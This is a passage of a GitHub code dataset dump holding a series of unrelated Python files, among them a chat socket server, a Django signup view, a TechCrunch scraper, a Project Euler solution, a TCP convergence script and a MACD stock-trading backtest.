\"default\"\n\n return intent\n\n @classmethod\n def _choose_intent_response(cls, request, intent):\n \"\"\"\n After discovery the user's intention, we will send\n it to the EVA controller, so that can be chosen\n which treatment should be performed.\n \"\"\"\n eva_response_controller = EvaController(intent, request)\n\n return eva_response_controller.response()\n","repo_name":"evatalk/eva-api","sub_path":"eva/handlers/conversations/request_conversation_handler.py","file_name":"request_conversation_handler.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"40"} +{"seq_id":"31364884529","text":"from unittest import TestSuite\n\nfrom sys import modules\n\n\ndef build_test_suite(package_name, module_names, required=1,\n suite_name='test_suite'):\n \"\"\"\n Utlitity for building a test suite from a package name\n and a list of modules.\n\n If required is false, then ImportErrors will simply result\n in that module's tests not being added to the returned\n suite.\n \"\"\"\n\n suite = TestSuite()\n try:\n for name in module_names:\n the_name = package_name+'.'+name\n __import__(the_name,globals(),locals())\n suite.addTest( getattr(modules[the_name], suite_name)() )\n except ImportError:\n if required:\n raise\n return suite\n\ndef has_path( catalog, path ):\n \"\"\"\n Verify that catalog has an object at path.\n \"\"\"\n if type( path ) is type( () ):\n path = '/'.join(path)\n rids = map( lambda x: x.data_record_id_, catalog.searchResults() )\n for rid in rids:\n if catalog.getpath( rid ) == path:\n return 1\n return 0\n","repo_name":"wpjunior/proled","sub_path":"instances/sapl23/Products/CMFCore/tests/base/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"19157707573","text":"nums=[[1,[1,3]],[2,[4,5]],[5,[6,7]]]\nmy_calendar=[{\"id\":1,\"day\":\"Monday\"},{\"id\":2,\"day\":\"Tuesday\"},{\"id\":3,\"day\":\"Monday\"},\n {\"id\":4,\"day\":\"Tuesday\"}]\nmydict={}\nlist=[]\nfor number in nums:\n print(number[1][1])\n\n\nfor member in my_calendar:\n if member[\"day\"] in mydict:\n mydict[member[\"day\"]]+=1\n else:\n mydict[member[\"day\"]]=1\n\nprint(mydict)\ninput=100\nans={\"peny\":0,\"dine\":0,\"quarter\":0}\ndef cashregister(money):\n if money<10:\n temp=money/1\n ans[\"peny\"]=temp\n return ans\n\n elif money>=10 and money<25:\n if money%10==0:\n temp=int(money/10)\n ans[\"dine\"]=temp\n return ans\n else:\n temp=money%10\n diff=int(money/10)\n ans[\"dine\"]=diff\n ans[\"peny\"]=temp\n return ans\n\n\n else:\n if money%25==0:\n temp=int(money/25)\n ans[\"quarter\"]=temp\n return ans\n else:\n temp=int(money/25)\n ans[\"quarter\"]=temp\n diff=int(money%25)\n if diff<10:\n ans[\"peny\"]=diff\n else:\n temp=int(diff/10)\n ans[\"dine\"]=temp\n temp2=int(diff%10)\n ans[\"peny\"]=temp2\n\n return ans\nprint(cashregister(input))\nnumber=123\nprint(bin(number))","repo_name":"DhruviV/LeetCode","sub_path":"practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"30062397202","text":"from re import X\nimport threading\nimport socket\nimport signal\nimport sys\nimport select\n\nclass chat_server:\n def signal_handler(self, signo, frame):\n for client in self.clients:\n # close clients socket descriptors\n client.close()\n print(\"Closing server.\")\n sys.exit(0)\n\n def __init__(self):\n\n # make a socket, let reuse of the address\n self.serverDesc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.serverDesc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n # listen for up to 5 clients\n self.MAX_CONN = 5\n self.clients = []\n self.usernames= []\n\n self.port = 5000\n self.host = \"0.0.0.0\"\n\n\n # bind ctrl c to the signal handler function\n signal.signal(signal.SIGINT, self.signal_handler)\n\n # bind the server to and address and listen\n self.serverDesc.bind((self.host,self.port))\n self.serverDesc.listen(self.MAX_CONN)\n\n def start(self):\n self.readSet = [self.serverDesc]\n\n while(True):\n # set up select to read from readSet\n readFromSet = self.readSet.copy()\n try:\n select.select(readFromSet, [], [])\n except Exception as e:\n print(e)\n \n for socketDesc in readFromSet:\n # server is ready to accept a connection\n if socketDesc == self.serverDesc:\n clientDesc, address = self.serverDesc.accept()\n print(clientDesc.fileno())\n\n # at login the client passes its username to server, read it\n clientUsername = clientDesc.recv(1024).decode()\n print(clientUsername)\n\n self.usernames.append(clientUsername)\n\n # add clients socket descriptor to client list\n self.clients.append(clientDesc)\n else:\n # get the string passed from the client\n data = socketDesc.recv(1024).decode()\n\n if(\"chat @\" in data):\n print(\"message a specific user\")\n elif(\"chat\" in data):\n print(\"broadcast this msg to everyone\")\n elif(\"voice\" in data):\n # we are using voip\n print(\"call voip function\")\n elif not data:\n print(\"Empty string passed.\")\n else:\n print(\"Bad data received\")\n\n def send(self, incomingConnection):\n try:\n while(True):\n # chunk size if 4bytes, read that many in for voice\n data = incomingConnection.recv(4096)\n # \n for client in self.clients:\n if client != incomingConnection:\n client.send(data)\n except:\n print(\"Client disconnected\")\n # remove socket for user\n\nserver = chat_server()\nserver.start()\n","repo_name":"NoahOConnor44/DistrProgrammingGroupProject","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"13335366569","text":"import pandas as pd\nimport pickle\nfrom utils import *\nimport os\n\n\ninterest_folder = './processed_data/resampled_data/'\n\nfiles_dicts = os.listdir(interest_folder)\n\npaths_2_dict = [interest_folder + i for i in files_dicts]\npaths_2_dict.sort()\n\n\nnumber_of_minutes = [int(paths_2_dict[i][32:-13]) for i in range(len(paths_2_dict))]\n\n\nn_path = str(len(paths_2_dict))\n\nall_dfs = []\n\nfor i, path in enumerate(paths_2_dict):\n with open(path, 'rb') as f:\n current_dict = pickle.load(f)\n f.close()\n print('\\n\\n\\n')\n print('mean normalizing for file: ' + path + ' ' + '(' + str(i) + '/' + str(n_path) + ')')\n\n current_dict = mean_normalize(current_dict)\n\n print('overwriting...')\n with open(path, 'wb') as f:\n pickle.dump(current_dict, f)\n f.close()\n","repo_name":"tomasrojasc/handling_seeing_data","sub_path":"adding_mean_norm_cols.py","file_name":"adding_mean_norm_cols.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"16592609567","text":"from typing import (\n cast,\n)\n\nfrom eth_utils import (\n encode_hex,\n)\nfrom eth_typing import (\n Hash32,\n)\n\nfrom trinity.db.beacon.chain import BaseAsyncBeaconChainDB\nfrom eth2.beacon.types.blocks import (\n BeaconBlock,\n)\n\nfrom eth2.beacon.typing import (\n Slot,\n)\nfrom lahja import (\n BroadcastConfig,\n)\n\nfrom p2p.peer import (\n BasePeer,\n BasePeerFactory,\n)\nfrom p2p.peer_pool import (\n BasePeerPool,\n)\nfrom p2p.protocol import (\n Command,\n _DecodedMsgType,\n PayloadType,\n)\nfrom p2p.exceptions import HandshakeFailure\nfrom p2p.kademlia import Node\nfrom p2p.p2p_proto import DisconnectReason\n\nfrom trinity.endpoint import TrinityEventBusEndpoint\nfrom trinity.protocol.bcc.handlers import BCCExchangeHandler\n\nfrom trinity.protocol.bcc.proto import BCCProtocol, ProxyBCCProtocol\nfrom trinity.protocol.bcc.commands import (\n GetBeaconBlocks,\n Status,\n StatusMessage,\n)\nfrom trinity.protocol.bcc.context import (\n BeaconContext,\n)\nfrom trinity.protocol.common.peer_pool_event_bus import (\n PeerPoolEventServer,\n)\nfrom .events import (\n GetBeaconBlocksEvent,\n SendBeaconBlocksEvent,\n)\n\n\nclass BCCProxyPeer:\n \"\"\"\n A ``BCCPeer`` that can be used from any process instead of the actual peer pool peer.\n Any action performed on the ``BCCProxyPeer`` is delegated to the actual peer in the pool.\n This does not yet mimic all APIs of the real peer.\n \"\"\"\n\n def __init__(self, sub_proto: ProxyBCCProtocol):\n self.sub_proto = sub_proto\n\n @classmethod\n def from_node(cls,\n remote: Node,\n event_bus: TrinityEventBusEndpoint,\n broadcast_config: BroadcastConfig) -> 'BCCProxyPeer':\n return cls(ProxyBCCProtocol(remote, event_bus, broadcast_config))\n\n\nclass BCCPeer(BasePeer):\n\n supported_sub_protocols = (BCCProtocol,)\n sub_proto: BCCProtocol = None\n\n _requests: BCCExchangeHandler = None\n\n context: BeaconContext\n\n head_slot: Slot = None\n\n _genesis_root: Hash32 = None\n\n async def send_sub_proto_handshake(self) -> None:\n genesis_root = await self.get_genesis_root()\n head = await self.chain_db.coro_get_canonical_head(BeaconBlock)\n self.sub_proto.send_handshake(genesis_root, head.slot, self.network_id)\n\n async def process_sub_proto_handshake(self, cmd: Command, msg: _DecodedMsgType) -> None:\n if not isinstance(cmd, Status):\n await self.disconnect(DisconnectReason.subprotocol_error)\n raise HandshakeFailure(f\"Expected a BCC Status msg, got {cmd}, disconnecting\")\n\n msg = cast(StatusMessage, msg)\n if msg['network_id'] != self.network_id:\n await self.disconnect(DisconnectReason.useless_peer)\n raise HandshakeFailure(\n f\"{self} network ({msg['network_id']}) does not match ours \"\n f\"({self.network_id}), disconnecting\"\n )\n genesis_root = await self.get_genesis_root()\n\n if msg['genesis_root'] != genesis_root:\n await self.disconnect(DisconnectReason.useless_peer)\n raise HandshakeFailure(\n f\"{self} genesis ({encode_hex(msg['genesis_root'])}) does not \"\n f\"match ours ({encode_hex(genesis_root)}), disconnecting\"\n )\n\n self.head_slot = msg['head_slot']\n\n async def get_genesis_root(self) -> Hash32:\n if self._genesis_root is None:\n self._genesis_root = await self.chain_db.coro_get_genesis_block_root()\n return self._genesis_root\n\n @property\n def network_id(self) -> int:\n return self.context.network_id\n\n @property\n def chain_db(self) -> BaseAsyncBeaconChainDB:\n return self.context.chain_db\n\n @property\n def requests(self) -> BCCExchangeHandler:\n if self._requests is None:\n self._requests = BCCExchangeHandler(self)\n return self._requests\n\n\nclass BCCPeerFactory(BasePeerFactory):\n context: BeaconContext\n peer_class = BCCPeer\n\n\nclass BCCPeerPool(BasePeerPool):\n peer_factory_class = BCCPeerFactory\n\n\nclass BCCPeerPoolEventServer(PeerPoolEventServer[BCCPeer]):\n \"\"\"\n BCC protocol specific ``PeerPoolEventServer``. See ``PeerPoolEventServer`` for more info.\n \"\"\"\n\n subscription_msg_types = frozenset({GetBeaconBlocks})\n\n async def _run(self) -> None:\n\n self.run_daemon_event(\n SendBeaconBlocksEvent,\n lambda peer, ev: peer.sub_proto.send_blocks(ev.blocks, ev.request_id)\n )\n\n await super()._run()\n\n async def handle_native_peer_message(self,\n remote: Node,\n cmd: Command,\n msg: PayloadType) -> None:\n\n if isinstance(cmd, GetBeaconBlocks):\n await self.event_bus.broadcast(GetBeaconBlocksEvent(remote, cmd, msg))\n else:\n raise Exception(f\"Command {cmd} is not broadcasted\")\n","repo_name":"teknomise/trinity","sub_path":"trinity/protocol/bcc/peer.py","file_name":"peer.py","file_ext":"py","file_size_in_byte":4950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"40"} +{"seq_id":"42381144599","text":"import pytest\n\nfrom conftest import assert_bash_exec\n\n\n@pytest.mark.bashcomp(cmd=None)\nclass TestUnitQuoteReadline:\n def test_exec(self, bash):\n assert_bash_exec(bash, \"quote_readline '' >/dev/null\")\n\n def test_env_non_pollution(self, bash):\n \"\"\"Test environment non-pollution, detected at teardown.\"\"\"\n assert_bash_exec(\n bash, \"foo() { quote_readline meh >/dev/null; }; foo; unset foo\"\n )\n","repo_name":"WeilerWebServices/Bash","sub_path":"Bash Completion/test/t/unit/test_unit_quote_readline.py","file_name":"test_unit_quote_readline.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"39415476030","text":"# !/usr/bin/env python3\n\n# scrape the titles and URLs of the latest articles on the TechCrunch website.\n\nfrom bs4 import BeautifulSoup\nfrom . import format_print, connection\n\n\nURL: str = \"https://techcrunch.com/\"\n\n\ndef main() -> None:\n \"\"\"Goes trough the TechCrunch website and gets\n the title and link of the recent news\"\"\"\n\n response = connection.get_response(URL)\n\n soup = BeautifulSoup(response.content, \"html.parser\")\n articles = soup.find_all(\n # Define the thing it's looking for\n name=\"header\",\n attrs={\"class\": \"post-block__header\"},\n )\n\n titles = [\n article.find(\"a\", class_=\"post-block__title__link\").text.strip()\n for article in articles\n ]\n urls = [\n article.find(\"a\", class_=\"post-block__title__link\")[\"href\"]\n for article in articles\n ]\n\n format_print.print_colored(titles, urls)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"arthurmartelli/showcase","sub_path":"web-scraper/web_scraper/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"74945849401","text":"from django.contrib.auth import login\nfrom django.shortcuts import render, redirect\n\nfrom accounts.forms import SignUpForm\n\n\ndef signup(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request, user)\n return redirect('forums:category_list')\n else:\n form = SignUpForm()\n\n context = {\n 'form': form\n }\n\n return render(request, 'accounts/signup.html', context)\n\n\ndef need_signin(request):\n return render(request, 'accounts/need_signin.html')","repo_name":"coderitma/ourforums","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"74308176120","text":"from operator import itemgetter\r\n\r\nclass course:\r\n def __init__(self, id, number, faculty):\r\n self.id = id\r\n self.number = number\r\n self.faculty = faculty\r\n\r\nclass group:\r\n def __init__(self, id, name, amount, course_id):\r\n self.id = id\r\n self.name = name\r\n self.amount = amount\r\n self.course_id = course_id\r\n\r\nclass group_course:\r\n def __init__(self, group_id, course_id):\r\n self.group_id = group_id\r\n self.course_id = course_id\r\n\r\ncourses = [\r\n course(1, 2 , 'ИУ'),\r\n course(2, 1, 'ИУ'),\r\n course(3, 3, 'ИУ'),\r\n course(4, 1, 'БМТ'),\r\n course(5, 2, 'БМТ'),\r\n]\r\n\r\ngroup_s = [\r\n group(1, 'ИУ-21', 20, 1),\r\n group(2, 'ИУ-31', 25, 3),\r\n group(3, 'ИУ-14', 30, 2),\r\n group(4, 'БМТ-12', 31, 4),\r\n group(5, 'ИУ-13', 28, 2),\r\n]\r\n\r\ngroup_course_s = [\r\n group_course(1, 2),\r\n group_course(2, 3),\r\n group_course(3, 2),\r\n group_course(4, 4),\r\n group_course(5, 2),\r\n]\r\n\r\ndef main():\r\n one_to_many = [(g.name, g.amount, c.faculty)\r\n for g in group_s\r\n for c in courses\r\n if g.course_id == c.id]\r\n\r\n many_to_many_temp = [(c.faculty, gc_s.course_id, gc_s.group_id)\r\n for c in courses\r\n for gc_s in group_course_s\r\n if c.id == gc_s.course_id]\r\n\r\n many_to_many = [(g.name, g.amount, course_name)\r\n for course_name, course_id, group_id in many_to_many_temp\r\n for g in group_s if g.id == group_id]\r\n\r\n print('Задание Б1')\r\n res_11 = sorted(one_to_many, key=itemgetter(0))\r\n print(res_11)\r\n\r\n print('\\nЗадание Б2')\r\n res_12_unsorted = []\r\n for c in courses:\r\n courses_s = list(filter(lambda i: i[2]==c.faculty, one_to_many))\r\n if len(courses_s) > 0:\r\n courses_amount = [amount for _,amount,_ in courses_s]\r\n courses_amount_sum = sum(courses_amount)\r\n res_12_unsorted.append((c.faculty, courses_amount_sum))\r\n\r\n res_12 = sorted(res_12_unsorted, key=itemgetter(1), reverse=True)\r\n print(res_12)\r\n\r\n print('\\nЗадание Б3')\r\n res_13 = {}\r\n for c in courses:\r\n if len(c.faculty) > 0:\r\n courses_s = list(filter(lambda i: i[2]==c.faculty, many_to_many))\r\n courses_s_name = [x for x,_,_ in courses_s]\r\n res_13[c.faculty] = courses_s_name\r\n\r\n print(res_13)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"AlexaFedS/RK_1_BKIT","sub_path":"rk1.py","file_name":"rk1.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"17880944650","text":"# ------------------------------------------------------------------------------\n# Project Euler - Problem 015 - Lattice paths\n# ------------------------------------------------------------------------------\n# Problem Link: https://projecteuler.net/problem=015\n# ------------------------------------------------------------------------------\n# Author: Paul Frisby\n# Email: mail@paulfrisby.com\n# Github: https://github.com/paulfrisby/\n# ------------------------------------------------------------------------------\n\n\n# ------------------------------------------------------------------------------\n# Problem Definition\n# ------------------------------------------------------------------------------\n\"\"\"\nStarting in the top left corner of a 2×2 grid, and only being able to move to\nthe right and down, there are exactly 6 routes to the bottom right corner.\n\nHow many such routes are there through a 20×20 grid?\n\"\"\"\n# ------------------------------------------------------------------------------\n\n\n# ------------------------------------------------------------------------------\n# Outline of approach\n# ------------------------------------------------------------------------------\n\"\"\"\n- intialise a grid of vertices (for a nxn grid, are n+1xn+1 vertices), we are\naiming to work out the number of routes from each vertex to the goal\n\n- for the bottom right vertex (where we are trying to reach) set a value of 1\nas there is only 1 route to the goal if you are already there\n\n- if you are in the bottom row or far right column, there is also only 1 route\nto the goal (directly right or down respectively), so set every vertex of these\nto 1 also\n\n- for each vertex remaining, the number of routes is equal to the number of\nroutes of the vertex to the right plus the number of routes of the vertex below\n\n- working backwards, from bottom to top, and from right to left, we can now\nassign a value to every vertex in the grid\n\n- after this is complete, the number of routes from topleft corner to bottom\nright corner is equal to the value in the top left corner\n\n- this should work for any size grid\n\nBelow is a visual example of the process for a 2x2 grid\n\n\n 0--0--1 0--0--1 0--0--1 0--0--1 0--0--1 \n3x3 | | | | | | | | | | | | | | | \nvertex>0--0--1 --> 0--w--1 --> 0--2--1 --> x--2--1 --> 3--2--1 --> \ngrid | | | | | | | | | | | | | | | \n 1--1--1 1--1--1 1--1--1 1--1--1 1--1--1\n\n w = 1 + 1 = 2 x = 2 + 1 = 3\n \n 0--y--1 0--3--1 z--3--1 [6]-3--1 \n | | | | | | | | | | | | \n --> 3--2--1 --> 3--2--1 --> 3--2--1 --> 3--2--1 --> total routes = 6 \n | | | | | | | | | | | | \n 1--1--1 1--1--1 1--1--1 1--1--1\n\n y = 1 + 2 = 3 z = 3 + 3 = 6\n\"\"\"\n# ------------------------------------------------------------------------------\n\n\n# ------------------------------------------------------------------------------\n# Main Code\n# ------------------------------------------------------------------------------\n\n# returns number of routes from top left to bottom right for an x by y grid\ndef routeCount(x, y):\n\n # initialising grid of vertices, bottom row / right column all equaling 1\n routes = [[0] * x] * y\n routes += [[1] * x]\n for i in range(x):\n routes[i] += [1]\n\n # working backwards along each row, from bottom to top\n row = x - 1 # 2nd last row\n while row >= 0:\n column = y - 1 # 2nd last column\n while column >= 0:\n # setting value of vertex to vertex below + vertex to right\n routes[row][column] = routes[row + 1][column] + routes[row][column + 1]\n column -= 1 # move left \n row -= 1 # move up\n return routes[0][0]\n\n\nprint (f'There are {routeCount(20, 20)} possible routes from the top left to the bottom right of a 20x20 grid')\n","repo_name":"paulfrisby/Project-Euler","sub_path":"Solutions/Project Euler - 015 - Lattice paths.py","file_name":"Project Euler - 015 - Lattice paths.py","file_ext":"py","file_size_in_byte":4064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"26136406699","text":"from datetime import datetime\n\nfrom forex_python.converter import CurrencyRates, RatesNotAvailableError\n\n\nclass ConversionRateCalculator:\n @staticmethod\n def get_conversion_rate_on_date(base_currency, target_currency, date):\n \"\"\"\n Calculate the concrete date currency rate, by using forex_python module and class CurrencyRates from it.\n Function also uses datetime.datetime (C module), to format date, and makes it date object from string\n :param base_currency: currency symbol in string 'USD'\n :param target_currency: currency symbol in string 'CAD'\n :param date: date in string format - '2023-11-21'\n :return: currency rate between base and target currency (float)\n \"\"\"\n c = CurrencyRates()\n try:\n date_obj = datetime.strptime(date, '%Y-%m-%d')\n rate = c.get_rate(base_currency, target_currency, date_obj)\n if rate is None:\n raise ValueError(f\"Invalid currency code: {base_currency} or {target_currency}\")\n return rate\n except RatesNotAvailableError:\n print(f\"Not available rate for this date {date}\")\n","repo_name":"reniboyanova/real_time_webscraping_from_exchanges","sub_path":"src/conversion_rate_calculator.py","file_name":"conversion_rate_calculator.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"10644608077","text":"import sys\nimport csv\nimport numpy as np\n\ndelays = [\"100ms\"]\ndrop_p = [\"0.00001\"]\nprefixes = [\"Bic\", \"Hybla\", \"Htcp\", \"HighSpeed\"]\n\ndef calc_long_term(avg_data):\n c = []\n start_span = 0.0\n end_span = 0.0\n previous = 0.0\n dist = 0.0\n for row in avg_data:\n _delta = row[0]\n avg = row[1]\n if previous == 0:\n previous == avg\n if avg > previous:\n dist = previous / avg\n elif previous != 0.0:\n dist = avg / previous\n else:\n dist = 0.0\n if dist >= 0.80:\n end_span = _delta\n else:\n c.append((end_span-start_span, previous, start_span))\n start_span = _delta\n end_span = start_span\n previous = avg\n\n dtype = [('span', float), ('avg', float), ('delta', float)]\n a = np.array(c, dtype=dtype)\n\n return np.sort(a, order='span')\n\ndef calc_converg(long_term_data):\n closest = []\n long_term = long_term_data[-1][1]\n for row in long_term_data:\n avg = row[1]\n if avg > long_term:\n tmp = long_term\n long_term = avg\n avg = tmp\n if avg / long_term >= 0.92:\n closest.append(row[2])\n\n closest.sort()\n return closest[0]\n\nwith open(\"./data/f_c/converg.data\", \"w\") as index_data:\n index_data.write(\"converg variant reno\\n\")\n for delay in delays:\n for prob in drop_p:\n for prefix in prefixes:\n index_data.write(prefix + \"-new-reno \")\n with open(\"./data/f_c/\" + delay + \"/\" + prob + \"/Tcp\" + prefix + \"-mov-avg.data\", \"r\") as avg_data, \\\n open(\"./data/f_c/\" + delay + \"/\" + prob + \"/TcpNewReno-\" + prefix + \"-mov-avg.data\", \"r\") as reno_avg_data:\n variant_data = list(map(lambda tup: (float(tup[0]), float(tup[1])), list(csv.reader(avg_data, delimiter=\" \"))))\n reno_data = list(map(lambda tup: (float(tup[0]), float(tup[1])), list(csv.reader(reno_avg_data, delimiter=\" \"))))\n variant_long_term = calc_long_term(variant_data)\n # index_data.write(str(calc_converg(variant_long_term)) + \" \")\n index_data.write(str(variant_long_term[-1][2]) + \" \")\n reno_long_term = calc_long_term(reno_data)\n # print (reno_long_term)\n index_data.write(str(reno_long_term[-1][2]) + \" \\n\")\n","repo_name":"abrinckm/tcp-variant-comparison","sub_path":"calc_convergence.py","file_name":"calc_convergence.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"5362072003","text":"# https://medium.com/codex/algorithmic-trading-with-macd-in-python-1c2769a6ad1b\n\nimport yfinance as yf\nimport pandas as pd\nimport numpy as np\nfrom math import floor\nfrom termcolor import colored as cl\nimport matplotlib.pyplot as plt\n\nplt.rcParams['figure.figsize'] = (20, 10)\nplt.style.use('fivethirtyeight')\n\n\ndef get_historical_data(symbol, start_date, end_date):\n return yf.download(symbol, start=start_date, end=end_date)\n\n\ngoogl = get_historical_data('LIN.DE', '2020-01-01', '2020-12-31')\n\n\n# MACD calculation\ndef get_macd(price, slow, fast, smooth):\n exp1 = price.ewm(span=fast, adjust=False).mean()\n exp2 = price.ewm(span=slow, adjust=False).mean()\n macd = pd.DataFrame(exp1 - exp2).rename(columns={'Close': 'macd'})\n signal = pd.DataFrame(macd.ewm(span=smooth, adjust=False).mean()).rename(columns={'macd': 'signal'})\n hist = pd.DataFrame(macd['macd'] - signal['signal']).rename(columns={0: 'hist'})\n frames = [macd, signal, hist]\n df = pd.concat(frames, join='inner', axis=1)\n return df\n\n\ngoogl_macd = get_macd(googl['Close'], 26, 12, 9)\nprint(googl_macd)\n\n\n# MACD plot\ndef plot_macd(prices, macd, signal, hist):\n ax1 = plt.subplot2grid((8, 1), (0, 0), rowspan=5, colspan=1)\n ax2 = plt.subplot2grid((8, 1), (5, 0), rowspan=3, colspan=1)\n\n ax1.plot(prices)\n ax2.plot(macd, color='grey', linewidth=1.5, label='MACD')\n ax2.plot(signal, color='skyblue', linewidth=1.5, label='SIGNAL')\n\n for i in range(len(prices)):\n if str(hist[i])[0] == '-':\n ax2.bar(prices.index[i], hist[i], color='#ef5350')\n else:\n ax2.bar(prices.index[i], hist[i], color='#26a69a')\n\n plt.legend(loc='lower right')\n\n\nplot_macd(googl['Close'], googl_macd['macd'], googl_macd['signal'], googl_macd['hist'])\n\n# creating the strategy\ndef implement_macd_strategy(prices, data):\n buy_price = []\n sell_price = []\n macd_signal = []\n signal = 0\n\n for i in range(len(data)):\n if data['macd'][i] > data['signal'][i]:\n if signal != 1:\n buy_price.append(prices[i])\n sell_price.append(np.nan)\n signal = 1\n macd_signal.append(signal)\n else:\n buy_price.append(np.nan)\n sell_price.append(np.nan)\n macd_signal.append(0)\n elif data['macd'][i] < data['signal'][i]:\n if signal != -1:\n buy_price.append(np.nan)\n sell_price.append(prices[i])\n signal = -1\n macd_signal.append(signal)\n else:\n buy_price.append(np.nan)\n sell_price.append(np.nan)\n macd_signal.append(0)\n else:\n buy_price.append(np.nan)\n sell_price.append(np.nan)\n macd_signal.append(0)\n\n return buy_price, sell_price, macd_signal\n\n\nbuy_price, sell_price, macd_signal = implement_macd_strategy(googl['Close'], googl_macd)\n\n# Plotting the trading list\nax1 = plt.subplot2grid((8, 1), (0, 0), rowspan=5, colspan=1)\nax2 = plt.subplot2grid((8, 1), (5, 0), rowspan=3, colspan=1)\n\nax1.plot(googl['Close'], color='skyblue', linewidth=2, label='LIN.DE')\nax1.plot(googl.index, buy_price, marker='^', color='green', markersize=10, label='BUY SIGNAL', linewidth=0)\nax1.plot(googl.index, sell_price, marker='v', color='r', markersize=10, label='SELL SIGNAL', linewidth=0)\nax1.legend()\nax1.set_title('LINDE MACD SIGNALS')\nax2.plot(googl_macd['macd'], color='grey', linewidth=1.5, label='MACD')\nax2.plot(googl_macd['signal'], color='skyblue', linewidth=1.5, label='SIGNAL')\n\nfor i in range(len(googl_macd)):\n if str(googl_macd['hist'][i])[0] == '-':\n ax2.bar(googl_macd.index[i], googl_macd['hist'][i], color='#ef5350')\n else:\n ax2.bar(googl_macd.index[i], googl_macd['hist'][i], color='#26a69a')\n\nplt.legend(loc='lower right')\nplt.show()\n\n# Creating our position\nposition = []\nfor i in range(len(macd_signal)):\n if macd_signal[i] > 1:\n position.append(0)\n else:\n position.append(1)\n\nfor i in range(len(googl['Close'])):\n if macd_signal[i] == 1:\n position[i] = 1\n elif macd_signal[i] == -1:\n position[i] = 0\n else:\n position[i] = position[i - 1]\n\nmacd = googl_macd['macd']\nsignal = googl_macd['signal']\nclose_price = googl['Close']\nmacd_signal = pd.DataFrame(macd_signal).rename(columns={0: 'macd_signal'}).set_index(googl.index)\nposition = pd.DataFrame(position).rename(columns={0: 'macd_position'}).set_index(googl.index)\n\nframes = [close_price, macd, signal, macd_signal, position]\nstrategy = pd.concat(frames, join='inner', axis=1)\n\n# Backstesting\ngoogl_ret = pd.DataFrame(np.diff(googl['Close'])).rename(columns={0: 'returns'})\nmacd_strategy_ret = []\n\nfor i in range(len(googl_ret)):\n try:\n returns = googl_ret['returns'][i] * strategy['macd_position'][i]\n macd_strategy_ret.append(returns)\n except:\n pass\n\nmacd_strategy_ret_df = pd.DataFrame(macd_strategy_ret).rename(columns={0: 'macd_returns'})\n\ninvestment_value = 100000\nnumber_of_stocks = floor(investment_value / googl['Close'][0])\nmacd_investment_ret = []\n\nfor i in range(len(macd_strategy_ret_df['macd_returns'])):\n returns = number_of_stocks * macd_strategy_ret_df['macd_returns'][i]\n macd_investment_ret.append(returns)\n\nmacd_investment_ret_df = pd.DataFrame(macd_investment_ret).rename(columns={0: 'investment_returns'})\ntotal_investment_ret = round(sum(macd_investment_ret_df['investment_returns']), 2)\nprofit_percentage = floor((total_investment_ret / investment_value) * 100)\nprint(cl('Profit gained from the MACD strategy by investing $100k in GOOGL : {}'.format(total_investment_ret),\n attrs=['bold']))\nprint(cl('Profit percentage of the MACD strategy : {}%'.format(profit_percentage), attrs=['bold']))\n\n# SPY ETF Comparison\ndef get_benchmark(start_date, investment_value):\n spy = get_historical_data('SPY', start_date)['Close']\n benchmark = pd.DataFrame(np.diff(spy)).rename(columns={0: 'benchmark_returns'})\n\n investment_value = investment_value\n number_of_stocks = floor(investment_value / spy[0])\n benchmark_investment_ret = []\n\n for i in range(len(benchmark['benchmark_returns'])):\n returns = number_of_stocks * benchmark['benchmark_returns'][i]\n benchmark_investment_ret.append(returns)\n\n benchmark_investment_ret_df = pd.DataFrame(benchmark_investment_ret).rename(columns={0: 'investment_returns'})\n return benchmark_investment_ret_df\n\n\nbenchmark = get_benchmark('2020-01-01', 100000)\n\ninvestment_value = 100000\ntotal_benchmark_investment_ret = round(sum(benchmark['investment_returns']), 2)\nbenchmark_profit_percentage = floor((total_benchmark_investment_ret / investment_value) * 100)\nprint(cl('Benchmark profit by investing $100k : {}'.format(total_benchmark_investment_ret), attrs=['bold']))\nprint(cl('Benchmark Profit percentage : {}%'.format(benchmark_profit_percentage), attrs=['bold']))\nprint(cl('MACD Strategy profit is {}% higher than the Benchmark Profit'.format(\n profit_percentage - benchmark_profit_percentage), 